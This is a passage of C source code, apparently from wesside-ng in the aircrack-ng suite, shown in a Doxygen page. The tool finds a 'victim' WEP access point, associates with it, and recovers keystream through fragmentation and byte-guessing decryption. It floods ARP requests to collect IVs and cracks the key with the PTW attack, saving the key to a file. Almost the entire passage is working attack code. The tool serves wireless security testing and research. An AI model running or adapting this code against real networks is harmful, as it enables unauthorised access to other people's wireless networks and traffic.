      unsigned short *seqptr;
      int for_us = 0;

      if (rd < 1) {
            time_print("rd=%d\n", rd);
            exit(1);
      }

      type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
      stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

      // sort out acks
      if (ws->ws_state >= FOUND_VICTIM) {
            // stuff for us
            if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0) {
                  for_us = 1;
                  if (type != IEEE80211_FC0_TYPE_CTL)
                        send_ack(ws);
            }
      }

      // XXX i know it aint great...
      seqptr = (unsigned short*)  wh->i_seq;
      seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
      if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
          type != IEEE80211_FC0_TYPE_CTL) {
//          printf("Ignoring dup packet... seq=%d\n", seq);
            return;
      }
      lastseq = seq;

      // management frame
      if (type == IEEE80211_FC0_TYPE_MGT) {
            if(ws->ws_state == FIND_VICTIM) {
                  if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
                      stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {

                        if (get_victim_ssid(ws, wh, rd)) {
                              return;
                        }
                  }

            }
      }

      if (ws->ws_state >= FOUND_VICTIM) {
            // stuff for us
            if (for_us) {
                  stuff_for_us(ws, wh, rd);
            }

            // stuff in network [even for us]
            if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
                    (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0)) ||

                    ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
                    (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0))
                     ) {
                  stuff_for_net(ws, wh, rd);
            }
      }
}

static void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1,
               char* i1, unsigned char* m2, char* i2)
{
        struct in_addr sip;
        struct in_addr dip;
      struct arphdr* h;
      unsigned char* data;

        inet_aton(i1, &sip);
        inet_aton(i2, &dip);
      h = (struct arphdr*) buf;

      memset(h, 0, sizeof(*h));

      h->ar_hrd = htons(ARPHRD_ETHER);
        h->ar_pro = htons(ETHERTYPE_IP);
        h->ar_hln = 6;
        h->ar_pln = 4;
        h->ar_op = htons(op);

      data = (unsigned char*) h + sizeof(*h);

      memcpy(data, m1, 6);
      data += 6;
      memcpy(data, &sip, 4);
      data += 4;

      memcpy(data, m2, 6);
      data += 6;
      memcpy(data, &dip, 4);
      data += 4;
}

static void send_fragment(struct wstate *ws, struct frag_state* fs,
                    struct prga_info *pi)
{
      unsigned char buf[4096];
      struct ieee80211_frame* wh;
      unsigned char* body;
      int fragsize;
      uLong crc;
      unsigned int *pcrc;
      int i;
      unsigned short* seq;
      unsigned short sn, fn;

      wh = (struct ieee80211_frame*) buf;
      memcpy(wh, &fs->fs_wh, sizeof(*wh));

      body = (unsigned char*) wh + sizeof(*wh);
      memcpy(body, &pi->pi_iv, 3);
      body += 3;
      *body++ = 0; // key index

      fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr;

      assert(fragsize > 0);

      if ( (fragsize + 4) > pi->pi_len) {
            fragsize = pi->pi_len  - 4;
            wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
      }
      // last fragment
      else {
            wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
      }

      memcpy(body, fs->fs_ptr, fragsize);

      crc = crc32(0L, Z_NULL, 0);
      crc = crc32(crc, body, fragsize);
      pcrc = (unsigned int*) (body+fragsize);
      *pcrc = htole32(crc);

      for (i = 0; i < (fragsize + 4); i++)
            body[i] ^= pi->pi_prga[i];

      seq = (unsigned short*) &wh->i_seq;
      sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
      fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK;
//    printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);

      send_frame(ws, buf, sizeof(*wh) + 4 + fragsize+4);

      seq = (unsigned short*) &fs->fs_wh.i_seq;
      *seq = fnseq(++fn, sn);
      fs->fs_ptr += fragsize;

      if (fs->fs_ptr - fs->fs_data == fs->fs_len) {
//          printf("Finished sending frags...\n");
            fs->fs_waiting_relay = 1;
      }
}

static void prepare_fragstate(struct wstate *ws, struct frag_state* fs, int pad)
{
      fs->fs_waiting_relay = 0;
      fs->fs_len = 8 + 8 + 20 + pad;
      fs->fs_data = (unsigned char*) malloc(fs->fs_len);

      if(!fs->fs_data) {
            perror("malloc()");
            exit(1);
      }

      fs->fs_ptr = fs->fs_data;

      do_llc(fs->fs_data, ETHERTYPE_ARP);
      do_arp(&fs->fs_data[8], ARPOP_REQUEST,
             ws->ws_mymac, ws->ws_myip,
             (unsigned char*) "\x00\x00\x00\x00\x00\x00", "192.168.0.1");

      memset(&fs->fs_wh, 0, sizeof(fs->fs_wh));
      fill_basic(ws, &fs->fs_wh);

      memset(fs->fs_wh.i_addr3, 0xff, 6);
      fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
      fs->fs_wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
                        IEEE80211_FC1_MORE_FRAG |
                        IEEE80211_FC1_WEP;

      memset(&fs->fs_data[8+8+20], 0, pad);
}

static void discover_prga(struct wstate *ws)
{
      // create packet...
      if (!ws->ws_fs.fs_data) {
            int pad = 0;

            if (ws->ws_pi.pi_len >= 20)
                  pad = ws->ws_pi.pi_len*3;

            prepare_fragstate(ws, &ws->ws_fs, pad);
      }

      if (!ws->ws_fs.fs_waiting_relay) {
            send_fragment(ws, &ws->ws_fs, &ws->ws_pi);
            if (ws->ws_fs.fs_waiting_relay) {
                  if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1)
                        err(1, "gettimeofday()");
            }
      }
}

static void decrypt(struct wstate *ws)
{
      // gotta initiate
      if (!ws->ws_dfs.fs_data) {
            prepare_fragstate(ws, &ws->ws_dfs, 0);

            memcpy(ws->ws_dfs.fs_wh.i_addr3,
                   MCAST_PREF, 5);

            ws->ws_dfs.fs_wh.i_addr3[5] =
            ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1];

            ws->ws_dpi.pi_len++;
      }

      // guess diff prga byte...
      if (ws->ws_dfs.fs_waiting_relay) {
            unsigned short* seq;
            ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]++;

            ws->ws_dfs.fs_wh.i_addr3[5] =
            ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1];

            ws->ws_dfs.fs_waiting_relay = 0;
            ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;

            seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq;
            *seq = fnseq(0, ws->ws_psent);
      }

      send_fragment(ws, &ws->ws_dfs,
                  &ws->ws_dpi);
}

static void send_arp(struct wstate *ws, unsigned short op, char* srcip,
                 unsigned char* srcmac, char* dstip,
                 unsigned char* dstmac)
{
      static unsigned char arp_pkt[128];
      unsigned char* body;
      unsigned char* ptr;
      struct ieee80211_frame* wh;
      int arp_len;

      memset(arp_pkt, 0, sizeof(arp_pkt));

      // construct ARP
      wh = (struct ieee80211_frame*) arp_pkt;
      fill_basic(ws, wh);

      wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
      wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
      memset(wh->i_addr3, 0xff, 6);

      body = (unsigned char*) wh + sizeof(*wh);
      ptr = body;
      ptr += 4; // iv

      do_llc(ptr, ETHERTYPE_ARP);
      ptr += 8;
      do_arp(ptr, op, srcmac, srcip, dstmac, dstip);

      wepify(ws, body, 8+8+20);
      arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
      assert(arp_len < (int)sizeof(arp_pkt));

      send_frame(ws, arp_pkt, arp_len);
}

static int find_mac(struct wstate *ws)
{
      if (!(ws->ws_netip && !ws->ws_rtrmac))
            return 0;

      if (gettimeofday(&ws->ws_arpsend, NULL) == -1)
            err(1, "gettimeofday()");

      time_print("Sending arp request for: %s\n",
               ws->ws_netip);
      send_arp(ws, ARPOP_REQUEST, ws->ws_myip,
             ws->ws_mymac, ws->ws_netip, (unsigned char *)
             "\x00\x00\x00\x00\x00\x00");

      // XXX lame
      ws->ws_rtrmac = (unsigned char*)1;

      return 1;
}

static int flood(struct wstate *ws)
{
      if (!(ws->ws_rtrmac > (unsigned char*)1 && ws->ws_netip))
            return 0;

      // could ping broadcast....
      send_arp(ws, ARPOP_REQUEST, ws->ws_myip,
             ws->ws_mymac, ws->ws_netip, (unsigned char*)
             "\x00\x00\x00\x00\x00\x00");

      return 1;
}

static void can_write(struct wstate *ws)
{
      switch (ws->ws_state) {
            case FOUND_VICTIM:
                  send_auth(ws);
                  ws->ws_state = SENDING_AUTH;
                  break;

            case GOT_AUTH:
                  send_assoc(ws);
                  ws->ws_state = SENDING_ASSOC;
                  break;

            case GOT_ASSOC:
                  if (ws->ws_pi.pi_prga
                      && ws->ws_pi.pi_len < ws->ws_min_prga) {
                        discover_prga(ws);
                        break;
                  }

                  if (ws->ws_cipher) {
                        decrypt(ws);
                        break;
                  }

                  if (!ws->ws_pi.pi_prga)
                        break;

                  // try to find rtr mac addr
                  if (find_mac(ws))
                        break;

                  // need to generate traffic...
                  if (flood(ws))
                        break;

                  break;
      }
}

static void save_key(unsigned char *key, int len)
{
      char tmp[16];
      char k[64];
      int fd;
      int rd;

      assert(len*3 < (int)sizeof(k));

      k[0] = 0;
      while (len--) {
            snprintf(tmp, 3, "%.2X", *key++);
            strncat(k, tmp, 2);
            if (len)
                  strncat(k, ":", 1);
      }

      fd = open(KEY_FILE, O_WRONLY | O_CREAT,
                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
      if (fd == -1)
            err(1, "open()");

      printf("\nKey: %s\n", k);
      rd = write(fd, k, strlen(k));
      if (rd == -1)
            err(1, "write()");
      if (rd != (int) strlen(k))
            errx(1, "write %d/%d\n", rd, (int) strlen(k));
      close(fd);
}

static int do_crack(struct wstate *ws)
{
      unsigned char key[PTW_KEYHSBYTES];
        int (* all)[256];
        int i,j;

        all = malloc(256*32*sizeof(int));
        if (all == NULL) {
            return 1;
        }

        //initial setup (complete keyspace)
        for (i = 0; i < 32; i++) {
            for (j = 0; j < 256; j++) {
                all[i][j] = 1;
            }
        }


      if(PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0) == 1) {
            save_key(key, 13);
            return 1;
      }
      if(PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT/10, PTW_DEFAULTBF, all, 0) == 1) {
            save_key(key, 5);
            return 1;
      }

      return 0;
}

static void sigchild(int x)
{
      struct wstate *ws;

      if (x) {} /* XXX unused */

      ws = get_ws();
      ws->ws_crack_pid = 0; /* crack done */
}

static void try_crack(struct wstate *ws)
{
      if (ws->ws_crack_pid) {
            printf("\n");
            time_print("Warning... previous crack still running!\n");
            kill_crack(ws);
      }

      if (ws->ws_fd) {
            if (fsync(ws->ws_fd) == -1)
                  err(1, "fsync");
      }

      ws->ws_crack_pid = fork();

      if (ws->ws_crack_pid == -1)
            err(1, "fork");

      // child
      if (ws->ws_crack_pid == 0) {
            if (!do_crack(ws)) {
                  printf("\n");
                  time_print("Crack unsuccessful\n");
            }
            exit(1);
      }

      // parent
      printf("\n");
      time_print("Starting crack PID=%d\n", ws->ws_crack_pid);
      if (gettimeofday(&ws->ws_crack_start, NULL) == -1)
            err(1, "gettimeofday");

      ws->ws_wep_thresh += ws->ws_thresh_incr;
}

static int elapsedd(struct timeval *past, struct timeval *now)
{
        int el;
      int inf = 666*1000*1000;

        el = now->tv_sec - past->tv_sec;

      if (el == 0) {
                el = now->tv_usec - past->tv_usec;
        } else {
                el = (el - 1)*1000*1000;
                el += 1000*1000-past->tv_usec;
                el += now->tv_usec;
        }

      if (el < 0)
            return inf;

      return el;
}

static int read_packet(struct wstate *ws, unsigned char *dst, int len)
{
      return wi_read(ws->ws_wi, dst, len, NULL);
}

static void open_wepfile(struct wstate *ws)
{
      ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND);
      if (ws->ws_fd == -1) {
            struct pcap_file_header pfh;

            memset(&pfh, 0, sizeof(pfh));
            pfh.magic           = TCPDUMP_MAGIC;
            pfh.version_major   = PCAP_VERSION_MAJOR;
            pfh.version_minor   = PCAP_VERSION_MINOR;
            pfh.thiszone        = 0;
            pfh.sigfigs         = 0;
            pfh.snaplen         = 65535;
            pfh.linktype        = LINKTYPE_IEEE802_11;

            ws->ws_fd = open(WEP_FILE, O_WRONLY | O_CREAT,
                         S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
            if (ws->ws_fd != -1) {
                  if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh))
                        err(1, "write()");
            }
      } else {
            time_print("WARNING: Appending in %s\n", WEP_FILE);
      }

      if (ws->ws_fd == -1)
            err(1, "open()");
}

static void load_prga(struct wstate *ws)
{
      int fd, rd;
      unsigned char buf[4096];

      fd = open(PRGA_FILE, O_RDONLY);
      if (fd != -1) {
            time_print("WARNING: reading prga from %s\n", PRGA_FILE);
            rd = read(fd, buf, sizeof(buf));
            if (rd == -1) {
                  perror("read()");
                  exit(1);
            }
            if (rd >= 8) {
                  set_prga(ws, buf, NULL, &buf[3], rd - 3);
            }

            close(fd);
      }
}

static void check_relay_timeout(struct wstate *ws, struct timeval *now)
{
      int el;

      if (!ws->ws_fs.fs_waiting_relay)
            return;

      el = elapsedd(&ws->ws_fs.fs_last, now);

      if (el > (1500*1000)) {
//          printf("\nLAMER timeout\n\n");
            free(ws->ws_fs.fs_data);
            ws->ws_fs.fs_data = 0;
      }
}

static void check_arp_timeout(struct wstate *ws, struct timeval *now)
{
      int el;
      if (ws->ws_rtrmac != (unsigned char*) 1)
            return;

      el = elapsedd(&ws->ws_arpsend, now);
      if (el >= (1500*1000)) {
            ws->ws_rtrmac = 0;
      }
}

static void display_status_bar(struct wstate *ws, struct timeval *now,
                         struct timeval *last_status, char *pbarp)
{
      int el;

      el = elapsedd(last_status, now);
      if (el < 100*1000)
            return;

      if (ws->ws_crack_pid)
            check_key(ws);

      if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga
          && ws->ws_rtrmac > (unsigned char*) 1) {
            time_print("WEP=%.9d (next crack at %d) "
                     "IV=%.2x:%.2x:%.2x (rate=%d)            \r",
                     ws->ws_packets, ws->ws_wep_thresh,
                     ws->ws_iv[0], ws->ws_iv[1], ws->ws_iv[2],
                     ws->ws_rate);

      } else {
            if (ws->ws_state == FIND_VICTIM) {
                  time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp);

            } else if (ws->ws_cipher) {
                  int pos = ws->ws_dpi.pi_len - 1;
                  unsigned char prga = ws->ws_dpi.pi_prga[pos];

                  assert(pos);

                  time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
                           prga, ws->ws_cipher[pos] ^ prga);
            } else
                  time_print("%c\r", *pbarp);
      }

      fflush(stdout);

      memcpy(last_status, now, sizeof(*last_status));
}

static void check_tx(struct wstate *ws, struct timeval *now)
{
      int elapsed;

      if (!ws->ws_waiting_ack)
            return;

      elapsed = elapsedd(&ws->ws_tsent, now);
      if (elapsed >= (int)ws->ws_ack_timeout)
            send_frame(ws, NULL, -1);
}

static void check_hop(struct wstate *ws, struct timeval *now)
{
      int elapsed;
      int chan = ws->ws_chan;

      elapsed = elapsedd(&ws->ws_lasthop, now);

      if (elapsed < 300*1000)
            return;

      chan++;
      if(chan > ws->ws_max_chan)
            chan = 1;

      set_chan(ws, chan);
      memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop));
}

static void post_input(struct wstate *ws, struct timeval *now)
{
      int el;

      // check state and what we do next.
      if (ws->ws_state == FIND_VICTIM) {
            check_hop(ws, now);
            return;
      }

      // check if we need to write something...
      if (!ws->ws_waiting_ack)
            can_write(ws);

      el = elapsedd(&ws->ws_last_wcount, now);

      /* calculate rate, roughtly */
      if (el < 1*1000*1000)
            return;

      ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count;
      ws->ws_last_wep_count = ws->ws_packets;

      memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount));

      if (ws->ws_wep_thresh != -1 && ws->ws_packets
          > (unsigned int) ws->ws_wep_thresh)
            try_crack(ws);
}

static void do_input(struct wstate *ws)
{
      unsigned char buf[4096];
      int rd;

      rd = read_packet(ws, buf, sizeof(buf));
      if (rd == 0)
            return;
      if (rd == -1) {
            perror("read()");
            exit(1);
      }

      // input
      anal(ws, buf, rd);
}

static void own(struct wstate *ws)
{
      int rd;
      fd_set rfd;
      struct timeval tv;
      char *pbar = "/-\\|";
      char *pbarp = &pbar[0];
      struct timeval now;
      struct timeval last_status;
      int largest;
      int wifd;

      wifd = wi_fd(ws->ws_wi);

      open_wepfile(ws);
      load_prga(ws);

      largest = wi_fd(ws->ws_wi);

      if (signal(SIGINT, &cleanup) == SIG_ERR) {
            perror("signal()");
            exit(1);
      }
      if (signal (SIGTERM, &cleanup) == SIG_ERR) {
            perror("signal()");
            exit(1);
      }
      if (signal (SIGCHLD, &sigchild) == SIG_ERR) {
            perror("signal()");
            exit(1);
      }

      time_print("Looking for a victim...\n");

      if (gettimeofday(&ws->ws_lasthop, NULL) == -1) {
            perror("gettimeofday()");
            exit(1);
      }
      memcpy(&ws->ws_last_wcount, &ws->ws_lasthop,
             sizeof(ws->ws_last_wcount));
      memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status));

      while (1) {
            if (gettimeofday(&now, NULL) == -1) {
                  perror("gettimeofday()");
                  exit(1);
            }

            /* check for relay timeout */
            check_relay_timeout(ws, &now);

            /* check for arp timeout */
            check_arp_timeout(ws, &now);

            // status bar
            display_status_bar(ws, &now, &last_status, pbarp);

            // check if we are cracking
            if (ws->ws_crack_pid) {
                  if ((now.tv_sec - ws->ws_crack_start.tv_sec)
                      >= ws->ws_crack_dur)
                        kill_crack(ws);
            }

            // check TX / retransmit
            check_tx(ws, &now);

            // INPUT
            // select
            FD_ZERO(&rfd);
            FD_SET(wifd, &rfd);
            tv.tv_sec = 0;
            tv.tv_usec = 1000*10;

            rd = select(largest+1, &rfd, NULL, NULL, &tv);
            if (rd == -1) {
                  switch (errno) {
                        case EINTR: /* handle SIGCHLD */
                              break;
                        default:
                              perror("select()");
                              exit(1);
                              break;
                  }
            }

            // read
            if (rd != 0 && FD_ISSET(wifd, &rfd)) {
                  /* update status */
                  pbarp++;
                  if(!(*pbarp))
                        pbarp = &pbar[0];

                  do_input(ws);
            }

            post_input(ws, &now);
      }
}

static void start(struct wstate *ws, char *dev)
{
      struct wif *wi;

      ws->ws_wi = wi = wi_open(dev);
      if (!wi)
            err(1, "wi_open(%s)", dev);

      if (!ws->ws_have_mac) {
            if (wi_get_mac(wi, ws->ws_mymac) == -1)
                  printf("Can't get mac\n");
      } else {
            if (wi_set_mac(wi, ws->ws_mymac) == -1)
                  printf("Can't set mac\n");
      }
      time_print("Using mac %s\n", mac2str(ws->ws_mymac));

      ws->ws_ptw = PTW_newattackstate();
      if (!ws->ws_ptw)
            err(1, "PTW_newattackstate()");

      own(ws);

      wi_close(wi);
}

static void usage(char* pname)
{
      if (pname) {}

      printf("\n"
            "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
            "  http://www.aircrack-ng.org\n"
            "\n"
            "  Usage: wesside-ng <options>\n"
            "\n"
            "  Options:\n"
            "\n"
            "       -h              : This help screen\n"
            "       -i      <iface> : Interface to use (mandatory)\n"
            "       -m      <my ip> : My IP address\n"
            "       -n     <net ip> : Network IP address\n"
            "       -a      <mymac> : Source MAC Address\n"
            "       -c              : Do not crack the key\n"
            "       -p   <min prga> : Minimum bytes of PRGA to gather\n"
            "       -v <victim mac> : Victim BSSID\n"
            "       -t  <threshold> : Cracking threshold\n"
            "       -f   <max chan> : Highest scanned chan (default: 11)\n"
            "       -k      <txnum> : Ignore acks and tx txnum times\n"
            "\n",
            getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));

      exit(0);
}

static void str2mac(unsigned char* dst, char* mac)
{
      unsigned int macf[6];
      int i;

      if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
                   &macf[0], &macf[1], &macf[2],
                   &macf[3], &macf[4], &macf[5]) != 6) {

               printf("can't parse mac %s\n", mac);
               exit(1);
      }

      for (i = 0; i < 6; i++)
            *dst++ = (unsigned char) macf[i];
}

static void init_defaults(struct wstate *ws)
{
      memset(ws, 0, sizeof(*ws));

      ws->ws_state = FIND_VICTIM;
      ws->ws_max_chan = 11;
      memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
      ws->ws_have_mac = 0;
      strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip)-1);
      ws->ws_ack_timeout = 100*1000;
      ws->ws_min_prga = 128;
      ws->ws_wep_thresh = ws->ws_thresh_incr = 10000;
      ws->ws_crack_dur = 60;
}

int main(int argc, char *argv[])
{
      struct wstate *ws = get_ws();
      int ch;
      unsigned char vic[6];
      char* dev = "IdidNotSpecifyAnInterface";

      assert(ws);
      init_defaults(ws);

      if (gettimeofday(&ws->ws_real_start, NULL) == -1) {
            perror("gettimeofday()");
            exit(1);
      }

      while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1) {
            switch (ch) {
                  case 'k':
                        ws->ws_ignore_ack = atoi(optarg);
                        break;

                  case 'a':
                        str2mac(ws->ws_mymac, optarg);
                        ws->ws_have_mac = 1;
                        break;

                  case 'i':
                        dev = optarg;
                        break;

                  case 'm':
                        strncpy(ws->ws_myip, optarg,
                              sizeof(ws->ws_myip)-1);
                        ws->ws_myip[sizeof(ws->ws_myip)-1] = 0;
                        break;

                  case 'n':
                        ws->ws_netip = optarg;
                        break;

                  case 'v':
                        str2mac(vic, optarg);
                        ws->ws_victim_mac = vic;
                        break;

                  case 'c':
                        ws->ws_wep_thresh = -1;
                        break;

                  case 'p':
                        ws->ws_min_prga = atoi(optarg);
                        break;

                  case 't':
                        ws->ws_thresh_incr = ws->ws_wep_thresh
                                       = atoi(optarg);
                        break;

                  case 'f':
                        ws->ws_max_chan = atoi(optarg);
                        break;

                  default:
                        usage(argv[0]);
                        break;
            }
      }

      if (argc > 1)
            start(ws, dev);
      else
            usage(argv[0]);

      cleanup(0);
      exit(0);
}

Generated by  Doxygen 1.6.0   Back to index